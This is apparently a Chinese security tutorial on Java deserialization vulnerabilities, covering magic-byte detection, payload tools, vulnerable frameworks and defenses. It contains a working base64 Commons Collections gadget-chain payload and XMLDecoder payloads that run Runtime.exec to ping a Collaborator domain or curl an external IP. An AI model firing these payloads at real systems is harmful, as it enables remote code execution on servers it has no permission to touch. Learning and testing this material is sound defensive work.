yACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
- 字节流
将payload保存为一个文件(payload.txt)

开头两个Bytesac ed 表示這是一個 Java 序列化 Stream,後面的兩個 Bytes 00 05 則是版本號
- base64

aced0005对应的base64特征为:rO0AB
Note
这些值在 JDK 的不同版本中没有变化,因为它们是序列化协议的一部分,而不是 JDK 版本的直接体现。只要序列化对象的类结构和 serialVersionUID 保持一致,不同 JDK 版本之间可以兼容反序列化。
因此,无论你使用的是哪个 JDK 版本,序列化对象的开头字节 aced 0005 都是相同的。
Burp能否探测到反序列化漏洞?¶
我们还是以上述环境做测试,以下是一个正常序列化和反序列化的java代码
import java.io.*;
import java.util.Base64;
public class CreatePayload {
public static void main(String[] args) {
// 创建一个 Person 对象
Person person = new Person("Alice", 30);
// 序列化对象并转换为 Base64 编码
String base64Encoded = serializeToBase64(person);
System.out.println("Base64 编码的序列化对象: " + base64Encoded);
// 从 Base64 编码反序列化对象
Person deserializedPerson = deserializeFromBase64(base64Encoded);
System.out.println("反序列化对象: " + deserializedPerson);
}
// 序列化对象并转换为 Base64 编码
public static String serializeToBase64(Serializable object) {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(object);
byte[] serializedBytes = baos.toByteArray();
return Base64.getEncoder().encodeToString(serializedBytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
// 从 Base64 编码反序列化对象
public static Person deserializeFromBase64(String base64Encoded) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Encoded));
ObjectInputStream ois = new ObjectInputStream(bais)) {
return (Person) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
return null;
}
}
// 定义一个可序列化的类
static class Person implements Serializable {
private static final long serialVersionUID = 1L; // 序列化版本号
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
}
结果:
Base64 编码的序列化对象: rO0ABXNyABRDcmVhdGVQYXlsb2FkJFBlcnNvbgAAAAAAAAABAgACSQADYWdlTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAHnQABUFsaWNl
反序列化对象: Person{name='Alice', age=30}
我们传入该payload

接下来测试burp是否能扫描到反序列化漏洞

可见burp并不具备检测反序列化漏洞的能力
如何生成payload?¶
可以使用以下两款工具
yosserial¶
Java chains¶

我们可以选择各种payload
如何可视化验证反序列化漏洞?¶
我们肯定不能使用弹计算器等方式,我们触发漏洞让受害者对我们的网站发起一个请求/dns解析来验证
目标可以通外网¶

可以使用burp自带的Collaborator,原理为bp开启一个临时的外网域名,当有客户端访问时会记录(HTTP/DNS/SMTP),点击copy to clipboard获取域名
我们使用java-chains创建一个payload,以XMLDecoder为例
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.Runtime" method="getRuntime" id="runtime"></object>
<void idref="runtime">
<void method="exec" >
<string>ping 1tvbmasuq83udw3foca0wsazzq5htahz.oastify.com</string>
</void>
</void>
</java>

触发漏洞,执行命令

可以看到收到了请求,以此就可以证明存在反序列化漏洞,当然也可使用dnslog、自已的公网服务器等验证
目标不能通外网¶
- 通过网络请求验证
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.Runtime" method="getRuntime" id="runtime"></object>
<void idref="runtime">
<void method="exec" >
<string>curl http://198.19.249.198:8000</string>
</void>
</void>
</java>

收到请求代表存在漏洞
Note
如果目标机器没有curl命令(Macos自带,Windows10及更高版本自带),windows可以使用如下powershell命令代替:
事实上,不出网分为很多种情况,不一定所有的协议都不出网,仍然可以尝试外网dns解析等操作
- 通过服务器延时验证
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.Thread">
<void method="sleep">
<long>5000</long>
</void>
</object>
</java>

可通过服务器响应时间判断
自动检测¶
主要可以总结为以下流程:
- 端口探测
- 指纹探测(weblogic、tomcat、shiro)
- 使用漏洞扫描工具或搜索漏洞库
常见的存在反序列化漏洞的框架和组件¶
Java¶
- Apache Commons Collections
- 漏洞描述:通过构造恶意的
ChainedTransformer和ConstantTransformer链,攻击者可以在反序列化时执行任意代码。 - 影响组件:广泛应用于 Java 应用程序中,尤其是使用
ObjectInputStream的场景。 - 修复建议:升级到安全版本,或使用白名单限制反序列化的类。
- Fastjson
- 漏洞描述:
autoType功能允许指定任意类,攻击者可利用此特性加载恶意类,例如通过 JNDI 注入加载远程恶意代码。 - 影响组件:广泛用于 Java Web 应用程序中。
- 修复建议:升级到最新版本,禁用
autoType功能。 - Weblogic
- 漏洞描述:多个版本存在反序列化漏洞,如 CVE-2017-10271、CVE-2018-2826 等,攻击者可以通过 T3 协议或 XMLDecoder 发起远程代码执行攻击。
- 影响组件:Oracle Weblogic Server。
- 修复建议:应用官方补丁,限制不必要的协议和服务。
- Apache Shiro
- 漏洞描述:
rememberMe功能存在安全设计缺陷,攻击者可以通过构造恶意的序列化数据实现远程代码执行(RCE),如 CVE-2016-4437 和 CVE-2019-12422。 - 影响组件:使用 Apache Shiro 的 Java 应用程序。
- 修复建议:升级到安全版本,使用强加密密钥,并限制反序列化的类。
- Jackson
- 漏洞描述:
enableDefaultTyping方法存在漏洞,攻击者可以通过构造恶意的 JSON 数据执行任意代码。 - 影响组件:使用 Jackson 库的 Java 应用程序。
- 修复建议:升级到安全版本,禁用
enableDefaultTyping。 - XStream
- 漏洞描述:通过
fromXML方法反序列化用户可控数据时,攻击者可以利用 POP 链执行恶意代码。 - 影响组件:使用 XStream 的 Java 应用程序。
- 修复建议:升级到最新版本,使用白名单限制反序列化的类。
PHP¶
- unserialize()
- 漏洞描述:如果应用程序直接使用
unserialize()函数反序列化用户输入,攻击者可以通过构造恶意的序列化字符串执行任意代码。 - 影响组件:PHP 应用程序。
- 修复建议:避免使用
unserialize(),改用更安全的json_decode()。 - ThinkPHP
- 漏洞描述:历史版本存在反序列化漏洞,攻击者可以通过构造恶意的请求参数执行任意代码。
- 影响组件:ThinkPHP 框架。
- 修复建议:升级到安全版本。
- Yii
- 漏洞描述:历史版本存在反序列化漏洞,攻击者可以通过构造恶意的请求参数执行任意代码。
- 影响组件:Yii 框架。
- 修复建议:升级到安全版本。
- Laravel
- 漏洞描述:历史版本存在反序列化漏洞,攻击者可以通过构造恶意的请求参数执行任意代码。
- 影响组件:Laravel 框架。
- 修复建议:升级到安全版本。
Python¶
- pickle
- 漏洞描述:攻击者可以通过构造恶意的
__reduce__方法,在反序列化时执行任意代码。 - 影响组件:使用
pickle模块的 Python 应用程序。 - 修复建议:避免使用
pickle,改用更安全的序列化格式(如 JSON)。
.NET¶
- BinaryFormatter
- 漏洞描述:
BinaryFormatter.Deserialize()方法在反序列化时没有实施有效的安全措施,攻击者可以通过构造恶意的二进制数据执行任意代码。 - 影响组件:.NET Framework 应用程序。
- 修复建议:禁用
BinaryFormatter,改用更安全的序列化机制。
思路总结¶
对于黑盒审计来说,反序列化是比较难发现的,并且反序列化的payload随着服务端代码的不同而不同,所以现在的反序列化漏洞通常都是由于目标使用了特定版本的、存在反序列化漏洞的中间件、框架等
但对于代码审计来说,可以通过搜索关键字(readObject,XMLDecoder等)找到可能存在反序列化的入口点,进而发现反序列化漏洞
Note
我们在测试时,主要思路如下:
- 在端口扫描时尽量扫描全面细致、最好能找出目标指纹,针对目标的指纹找出对应的扫描工具和相关漏洞,结合手工,看是否存在漏洞
- 也可以关注序列化数据的流量特征(字节特征:aced0005,base64特征:rO0AB),尝试修改为错误的数据,看是否存在服务端详细报错,并结合各种payload进行测试
如何防御反序列化漏洞¶
一般来说,除非绝对必要,否则应避免对用户输入进行反序列化。它可能带来的高严重漏洞利用,以及防护的困难,在许多情况下超过了其带来的好处。
如果你确实需要从不可信来源反序列化数据,请采取强有力的措施,确保数据没有被篡改。例如,你可以实现数字签名来检查数据的完整性。但请记住,任何检查都必须在开始反序列化过程之前完成。否则,它们几乎没什么用。
如果可能,你应该完全避免使用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。相反,你可以创建自己的类专用序列化方法,至少可以控制哪些字段被暴露。